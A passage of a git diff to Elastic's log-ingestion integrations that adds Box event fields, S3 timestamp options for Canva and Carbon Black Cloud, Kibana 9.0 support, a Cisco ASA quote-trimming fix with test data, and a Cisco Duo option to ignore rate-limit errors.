ctx._tmp.accessible_login.length == 2 + - rename: + field: box.accessible_by.login + target_field: user.target.id + ignore_missing: true + if: ctx.user?.target?.id == null && ctx.box?.accessible_by?.type == 'user' + - append: + field: related.user + value: '{{{user.target.id}}}' + if: ctx.user?.target?.id != null && ctx.user.target.id != '' + allow_duplicates: false + - rename: + field: box.accessible_by.name + target_field: user.target.name + ignore_missing: true + if: ctx.user?.target?.name == null + - append: + field: related.user + value: '{{{user.target.name}}}' + if: ctx.user?.target?.name != null && ctx.user.target.name != '' + allow_duplicates: false + - rename: + field: box.source.folder_id + target_field: box.source.id + ignore_missing: true + if: ctx.box?.source?.id == null # If a user or item triggers an event, The response of the GET /events endpoint contains an event source object. - convert: field: box.source.sequence_id @@ -654,7 +719,18 @@ processors: field: box.source.file_version.sha1 target_field: file.hash.sha1 ignore_missing: true -# Shield Focussed Processors + - convert: + field: box.additional_details.is_performed_by_admin + type: boolean + tag: convert_is_performed_by_admin_bool + ignore_missing: true + on_failure: + - remove: + field: box.additional_details.is_performed_by_admin + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' +# Shield Focused Processors - convert: field: box.ip_address target_field: client.ip @@ -1268,7 +1344,9 @@ processors: } dropEmptyFields(ctx); - remove: - field: _conf + field: + - _conf + - _tmp ignore_missing: true on_failure: - set: diff --git a/packages/box_events/data_stream/events/fields/fields.yml b/packages/box_events/data_stream/events/fields/fields.yml index c7ab48b266b..68c4969b46d 100644 --- a/packages/box_events/data_stream/events/fields/fields.yml +++ b/packages/box_events/data_stream/events/fields/fields.yml @@ -1,9 +1,33 @@ - name: box type: group fields: + - name: accessible_by + type: group + fields: + - name: id + type: keyword + description: ID of the entity that can access the item. + - name: login + type: keyword + description: Login of the entity that can access the item. + - name: name + type: keyword + description: Name of the entity that can access the item. + - name: type + type: keyword + description: Type of entity that can access the item. - name: additional_details type: group fields: + - name: collab_id + type: keyword + description: ID of the collaboration. + - name: is_performed_by_admin + type: boolean + description: Whether the action was performed by an admin. + - name: role + type: keyword + description: Role associated with the event. - name: shield_alert type: group fields: @@ -208,6 +232,9 @@ - name: name description: User name type: keyword + - name: type + type: keyword + description: Type of the event. - name: created_at description: When the event object was created type: date @@ -278,6 +305,9 @@ - name: id description: The unique identifier that represent a file version type: keyword + - name: folder_name + description: The name of a folder + type: keyword - name: id description: The unique identifier that represent a folder type: keyword @@ -415,6 +445,12 @@ - name: trashed_at description: The time at which this file was put in the trash type: boolean + - name: user_id + description: Unique user ID of the user that triggered the event. + type: keyword + - name: user_name + description: The name of the user that triggered the event. + type: keyword - name: related type: group fields: diff --git a/packages/box_events/docs/README.md b/packages/box_events/docs/README.md index ac56496e320..a28df3d2542 100644 --- a/packages/box_events/docs/README.md +++ b/packages/box_events/docs/README.md @@ -140,6 +140,13 @@ Preserves a raw copy of the original event, added to the field `event.original`. | Field | Description | Type | |---|---|---| | @timestamp | Date/time when the event originated. This is the date/time extracted from the event, typically representing when the event was generated by the source. If the event source has no original timestamp, this value is typically populated by the first time the event was received by the pipeline. Required field for all events. | date | +| box.accessible_by.id | ID of the entity that can access the item. | keyword | +| box.accessible_by.login | Login of the entity that can access the item. | keyword | +| box.accessible_by.name | Name of the entity that can access the item. | keyword | +| box.accessible_by.type | Type of entity that can access the item. | keyword | +| box.additional_details.collab_id | ID of the collaboration. | keyword | +| box.additional_details.is_performed_by_admin | Whether the action was performed by an admin. | boolean | +| box.additional_details.role | Role associated with the event. | keyword | | box.additional_details.shield_alert.alert_id | Box Shield alert ID | long | | box.additional_details.shield_alert.alert_summary.anomaly_period.date_range.end_date | When the anomaly was last observed | keyword | | box.additional_details.shield_alert.alert_summary.anomaly_period.date_range.start_date | When the anomaly was last observed | keyword | @@ -195,6 +202,7 @@ Preserves a raw copy of the original event, added to the field `event.original`. | box.additional_details.shield_alert.user.email | User email | keyword | | box.additional_details.shield_alert.user.id | User ID | long | | box.additional_details.shield_alert.user.name | User name | keyword | +| box.additional_details.type | Type of the event. | keyword | | box.created_at | When the event object was created | date | | box.created_by.id | The unique identifier for the connection user. | keyword | | box.created_by.login | The primary email address of the connection user. Maps from \*\*.login | keyword | @@ -214,6 +222,7 @@ Preserves a raw copy of the original event, added to the field `event.original`. | box.source.etag | The HTTP etag of this folder | keyword | | box.source.file_version.id | The unique identifier that represent a file version | keyword | | box.source.file_version.type | Value is always `file_version` | keyword | +| box.source.folder_name | The name of a folder | keyword | | box.source.id | The unique identifier that represent a folder | keyword | | box.source.item_status | Defines if this item has been deleted or not. active when the item has is not in the trash trashed when the item has been moved to the trash but not deleted deleted when the item has been permanently deleted. Value is one of `active`, `trashed`, `deleted` | keyword | | box.source.job_title | User job title | boolean | @@ -252,6 +261,8 @@ Preserves a raw copy of the original event, added to the field `event.original`. | box.source.synced | Legacy property for compatibility with Box Desktop | boolean | | box.source.timezone | Timezone | boolean | | box.source.trashed_at | The time at which this file was put in the trash | boolean | +| box.source.user_id | Unique user ID of the user that triggered the event. | keyword | +| box.source.user_name | The name of the user that triggered the event. | keyword | | cloud.image.id | Image ID for the cloud instance. | keyword | | data_stream.dataset | The field can contain anything that makes sense to signify the source of the data. Examples include `nginx.access`, `prometheus`, `endpoint` etc. For data streams that otherwise fit, but that do not have dataset set we use the value "generic" for the dataset value. `event.dataset` should have the same value as `data_stream.dataset`. Beyond the Elasticsearch data stream naming criteria noted above, the `dataset` value has additional restrictions: \* Must not contain `-` \* No longer than 100 characters | constant_keyword | | data_stream.namespace | A user defined namespace. Namespaces are useful to allow grouping of data. Many users already organize their indices this way, and the data stream naming scheme now provides this best practice as a default. Many users will populate this field with `default`. If no value is used, it falls back to `default`. Beyond the Elasticsearch index naming criteria noted above, `namespace` value has the additional restrictions: \* Must not contain `-` \* No longer than 100 characters | constant_keyword | diff --git a/packages/box_events/manifest.yml b/packages/box_events/manifest.yml index 64410a128af..60d8d15b73f 100644 --- a/packages/box_events/manifest.yml +++ b/packages/box_events/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: box_events title: Box Events -version: "2.11.1" +version: "2.13.0" description: "Collect logs from Box with Elastic Agent" type: integration categories: @@ -9,7 +9,7 @@ categories: - productivity_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/box_screenshot.png title: "[Logs Box Events Integration] Events Dashboard" diff --git a/packages/canva/changelog.yml b/packages/canva/changelog.yml index 56f0521b7ee..829e9328723 100644 --- a/packages/canva/changelog.yml +++ b/packages/canva/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "0.6.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "0.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.4.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs b/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs index 3f86b988ce5..0e16d9fb134 100644 --- a/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs +++ b/packages/canva/data_stream/audit/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} + ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/canva/data_stream/audit/manifest.yml b/packages/canva/data_stream/audit/manifest.yml index dda0efe58f6..e58580adc7c 100644 --- a/packages/canva/data_stream/audit/manifest.yml +++ b/packages/canva/data_stream/audit/manifest.yml @@ -118,6 +118,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. It is a required parameter for collecting logs via the AWS S3 Bucket. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/canva/manifest.yml b/packages/canva/manifest.yml index 14debc5a039..f88e6a44260 100644 --- a/packages/canva/manifest.yml +++ b/packages/canva/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: canva title: Canva -version: 0.4.1 +version: "0.6.0" description: Collect logs from Canva with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - productivity conditions: kibana: - version: ^8.16.2 + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/carbon_black_cloud/changelog.yml b/packages/carbon_black_cloud/changelog.yml index 95f61c9f17f..132bd27cc50 100644 --- a/packages/carbon_black_cloud/changelog.yml +++ b/packages/carbon_black_cloud/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.9.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 - version: "2.8.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs index fe7c6032e3e..f02b77eb69c 100644 --- a/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs +++ b/packages/carbon_black_cloud/data_stream/alert/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/carbon_black_cloud/data_stream/alert/manifest.yml b/packages/carbon_black_cloud/data_stream/alert/manifest.yml index e26492ade74..fa328f5f9aa 100644 --- a/packages/carbon_black_cloud/data_stream/alert/manifest.yml +++ b/packages/carbon_black_cloud/data_stream/alert/manifest.yml @@ -93,6 +93,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs index fe7c6032e3e..f02b77eb69c 100644 --- a/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs +++ b/packages/carbon_black_cloud/data_stream/alert_v7/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml b/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml index 4b57708a811..956cd45f929 100644 --- a/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml +++ b/packages/carbon_black_cloud/data_stream/alert_v7/manifest.yml @@ -93,6 +93,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs index dfb5b5b7ad0..18e0f791002 100644 --- a/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs +++ b/packages/carbon_black_cloud/data_stream/endpoint_event/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml b/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml index b258e250f87..11b6a8bface 100644 --- a/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml +++ b/packages/carbon_black_cloud/data_stream/endpoint_event/manifest.yml @@ -39,6 +39,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs b/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs index dbab0f3ba22..0c9eb2710be 100644 --- a/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs +++ b/packages/carbon_black_cloud/data_stream/watchlist_hit/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml b/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml index 717f0f38075..34bee498cec 100644 --- a/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml +++ b/packages/carbon_black_cloud/data_stream/watchlist_hit/manifest.yml @@ -39,6 +39,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/carbon_black_cloud/manifest.yml b/packages/carbon_black_cloud/manifest.yml index 51c20662d83..275d7ae2049 100644 --- a/packages/carbon_black_cloud/manifest.yml +++ b/packages/carbon_black_cloud/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: carbon_black_cloud title: VMware Carbon Black Cloud -version: "2.8.1" +version: "2.9.0" description: Collect logs from VMWare Carbon Black Cloud with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - edr_xdr conditions: kibana: - version: "^8.16.2" + version: "^8.16.5" screenshots: - src: /img/carbon_black_cloud-screenshot.png title: Carbon Black Cloud alert dashboard screenshot diff --git a/packages/carbonblack_edr/changelog.yml b/packages/carbonblack_edr/changelog.yml index 2900883447f..3c4194f2020 100644 --- a/packages/carbonblack_edr/changelog.yml +++ b/packages/carbonblack_edr/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.21.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.20.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/carbonblack_edr/manifest.yml b/packages/carbonblack_edr/manifest.yml index 22bdbb171e9..145393e8227 100644 --- a/packages/carbonblack_edr/manifest.yml +++ b/packages/carbonblack_edr/manifest.yml @@ -1,13 +1,13 @@ name: carbonblack_edr title: VMware Carbon Black EDR -version: "1.20.1" +version: "1.21.0" description: Collect logs from VMware Carbon Black EDR with Elastic Agent. type: integration format_version: "3.0.3" categories: [security, edr_xdr] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" policy_templates: - name: log title: Carbon Black EDR logs diff --git a/packages/checkpoint_email/changelog.yml b/packages/checkpoint_email/changelog.yml index c13678951f9..eca916eddb4 100644 --- a/packages/checkpoint_email/changelog.yml +++ b/packages/checkpoint_email/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.4.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/checkpoint_email/manifest.yml b/packages/checkpoint_email/manifest.yml index f7081053cda..97475acb7d1 100644 --- a/packages/checkpoint_email/manifest.yml +++ b/packages/checkpoint_email/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.2.2 name: checkpoint_email title: Check Point Harmony Email & Collaboration -version: 0.4.1 +version: "0.5.0" description: Collect logs from Check Point Harmony Email & Collaboration with Elastic Agent. type: integration categories: - security conditions: kibana: - version: ^8.15.0 + version: "^8.15.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/checkpoint_harmony_endpoint/changelog.yml b/packages/checkpoint_harmony_endpoint/changelog.yml index 69ebcefa14c..84b030ad21a 100644 --- a/packages/checkpoint_harmony_endpoint/changelog.yml +++ b/packages/checkpoint_harmony_endpoint/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.3.1" changes: - description: Fix indentation forensics CEL program. diff --git a/packages/checkpoint_harmony_endpoint/manifest.yml b/packages/checkpoint_harmony_endpoint/manifest.yml index a8a1ec00e10..be77b540d8c 100644 --- a/packages/checkpoint_harmony_endpoint/manifest.yml +++ b/packages/checkpoint_harmony_endpoint/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: checkpoint_harmony_endpoint title: "Check Point Harmony Endpoint" -version: 0.3.1 +version: "0.4.0" source: license: "Elastic-2.0" description: "Collect logs from Check Point Harmony Endpoint" @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.14.0" + version: "^8.14.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/cisa_kevs/changelog.yml b/packages/cisa_kevs/changelog.yml index 43753ac6b51..0dfc8228859 100644 --- a/packages/cisa_kevs/changelog.yml +++ b/packages/cisa_kevs/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.4.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/cisa_kevs/manifest.yml b/packages/cisa_kevs/manifest.yml index 152d8a250ac..57c86599b07 100644 --- a/packages/cisa_kevs/manifest.yml +++ b/packages/cisa_kevs/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.0.3 name: cisa_kevs title: "CISA Known Exploited Vulnerabilities" -version: "1.4.1" +version: "1.5.0" description: "This package allows the ingest of known exploited vulnerabilities according to the Cybersecurity and Infrastructure Security Agency of the United States of America. This information could be used to enrich or track exisiting vulnerabilities that are known to be exploited in the wild." type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/cisco_asa/changelog.yml b/packages/cisco_asa/changelog.yml index a5d84681a06..c4801dd7a0d 100644 --- a/packages/cisco_asa/changelog.yml +++ b/packages/cisco_asa/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.42.2" + changes: + - description: "Trim quotes from user.name field." + type: bugfix + link: https://github.com/elastic/integrations/pull/12877 - version: "2.42.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log index a58ddf34de9..f3ff03427fb 100644 --- a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log +++ b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log @@ -13,3 +13,4 @@ Jun 21 2022 11:47:08: %ASA-6-302015: Built inbound UDP connection 7 for outside: Jun 21 2022 11:47:08: %ASA-6-302015: Built inbound UDP connection 7 for outside:81.2.69.142/3424 (81.2.69.142/3424)(LOCAL\alice) to inside:89.160.20.112/9803 (89.160.20.112/9803) (bob) Jun 21 2022 11:47:09: %ASA-6-302015: Built inbound UDP connection 7 for outside:81.2.69.142/3424 (81.2.69.142/3424)(LOCAL\alice, 123) to inside:89.160.20.112/9803 (89.160.20.112/9803)(LOCAL\dave, 246) (bob) Apr 27 2020 02:03:03 dev01: %ASA-5-434004: SFR requested device to bypass further packet redirection and process TCP flow from sourceInterfaceName:81.2.69.144/8888 to destinationInterfaceName:192.168.2.2/123123 locally +<140>Feb 02 2025 14:02:35: %ASA-4-106103: access-list TEST_ACL_LIST denied tcp for user 'username' outside/81.2.69.142(51950) -> inside/89.160.20.112(443) hit-cnt 1 first hit [0xd3e666fa, 0x0] diff --git a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json index bcca5492c0c..4b82e22697f 100644 --- a/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json +++ b/packages/cisco_asa/data_stream/log/_dev/test/pipeline/test-asa-fix.log-expected.json @@ -1259,6 +1259,122 @@ "tags": [ "preserve_original_event" ] + }, + { + "@timestamp": "2025-02-02T14:02:35.000Z", + "cisco": { + "asa": { + "destination_interface": "inside", + "rule_name": "TEST_ACL_LIST", + "source_interface": "outside" + } + }, + "destination": { + "address": "89.160.20.112", + "as": { + "number": 29518, + "organization": { + "name": "Bredband2 AB" + } + }, + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": "89.160.20.112", + "port": 443 + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "firewall-rule", + "category": [ + "network" + ], + "code": "106103", + "kind": "event", + "original": "<140>Feb 02 2025 14:02:35: %ASA-4-106103: access-list TEST_ACL_LIST denied tcp for user 'username' outside/81.2.69.142(51950) -> inside/89.160.20.112(443) hit-cnt 1 first hit [0xd3e666fa, 0x0]", + "outcome": "failure", + "severity": 4, + "timezone": "UTC", + "type": [ + "connection", + "denied" + ] + }, + "log": { + "level": "warning", + "syslog": { + "facility": { + "code": 17 + }, + "priority": 140, + "severity": { + "code": 4 + } + } + }, + "network": { + "community_id": "1:j9VGmcL6owBe84RhzGdmyxXoL8w=", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "egress": { + "interface": { + "name": "inside" + } + }, + "ingress": { + "interface": { + "name": "outside" + } + }, + "product": "asa", + "type": "firewall", + "vendor": "Cisco" + }, + "related": { + "ip": [ + "81.2.69.142", + "89.160.20.112" + ], + "user": [ + "username" + ] + }, + "source": { + "address": "81.2.69.142", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.142", + "port": 51950 + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "username" + } } ] } diff --git a/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml b/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml index 0ad627a28d0..00f5059f00e 100644 --- a/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml +++ b/packages/cisco_asa/data_stream/log/elasticsearch/ingest_pipeline/default.yml @@ -2950,6 +2950,13 @@ processors: value: "{{{destination.user.name}}}" ignore_empty_value: true if: ctx?.user?.name == null + # Remove quotes from fields + - gsub: + if: ctx.user?.name != null + tag: trim_user_name_whitespace + pattern: "^['\"]|['\"]$" + replacement: "" + field: user.name # Configures observer fields with a copy from cisco and host fields. Later on these might replace host.hostname. - set: diff --git a/packages/cisco_asa/manifest.yml b/packages/cisco_asa/manifest.yml index 9e9dc068f9f..c3414946575 100644 --- a/packages/cisco_asa/manifest.yml +++ b/packages/cisco_asa/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: cisco_asa title: Cisco ASA -version: "2.42.1" +version: "2.42.2" description: Collect logs from Cisco ASA with Elastic Agent. type: integration categories: diff --git a/packages/cisco_duo/changelog.yml b/packages/cisco_duo/changelog.yml index 8faa13d1d59..cd64e5a86f2 100644 --- a/packages/cisco_duo/changelog.yml +++ b/packages/cisco_duo/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Provide option to ignore ingesting API Errors. + type: enhancement + link: https://github.com/elastic/integrations/pull/12870 - version: "2.3.2" changes: - description: Avoid obsolete cursor data in activity, telephony_v2. diff --git a/packages/cisco_duo/data_stream/auth/_dev/test/system/test-cel-config.yml b/packages/cisco_duo/data_stream/auth/_dev/test/system/test-cel-config.yml new file mode 100644 index 00000000000..3f5d514fdc0 --- /dev/null +++ b/packages/cisco_duo/data_stream/auth/_dev/test/system/test-cel-config.yml @@ -0,0 +1,12 @@ +input: cel +service: cisco_duo +vars: + hostname: http://{{Hostname}}:{{Port}} + secret_key: 40_characters_long_secret_key + integration_key: temp_integration_key + enable_request_tracer: true +data_stream: + vars: + preserve_original_event: true +assert: + hit_count: 5 diff --git a/packages/cisco_duo/data_stream/auth/_dev/test/system/test-default-config.yml b/packages/cisco_duo/data_stream/auth/_dev/test/system/test-httpjson-config.yml similarity index 100% rename from packages/cisco_duo/data_stream/auth/_dev/test/system/test-default-config.yml rename to packages/cisco_duo/data_stream/auth/_dev/test/system/test-httpjson-config.yml diff --git a/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs b/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs index 345cc42a1ca..2acad7ad79b 100644 --- a/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs +++ b/packages/cisco_duo/data_stream/auth/agent/stream/cel.yml.hbs @@ -26,6 +26,7 @@ state: limit: {{limit}} initial_interval: {{initial_interval}} want_more: false + ignore_api_errors: {{ignore_api_errors}} redact: fields: - integration_key @@ -107,23 +108,36 @@ program: | ) : - bytes(resp.Body).decode_json().as(body, + resp.StatusCode == 429 && bool(state.ignore_api_errors) ? + // Cisco Duo auth API rate limit is very low i.e., once per minute. + // Sometimes 429s are received even when requests are made + // less than once per minute. This leads to users ingesting 429 + // API errors very often. + // If users choose not to ingest these errors, ignore them. { - "events": { - "error": { - "code": has(body.code) ? string(body.code) : string(resp.StatusCode), - "id": string(resp.Status), - "message": "GET:"+( - size(resp.Body) != 0 ? - string(resp.Body) - : - string(resp.Status) + ' (' + string(resp.StatusCode) + ')' - ), - }, - }, + "events": [], + // Log the rate limit excession at DEBUG level. + "rate_limited": debug("rate_limit_exceeded", bytes(resp.Body).decode_json().?message.orValue("missing message")), "want_more": false, } - ) + : + bytes(resp.Body).decode_json().as(body, + { + "events": { + 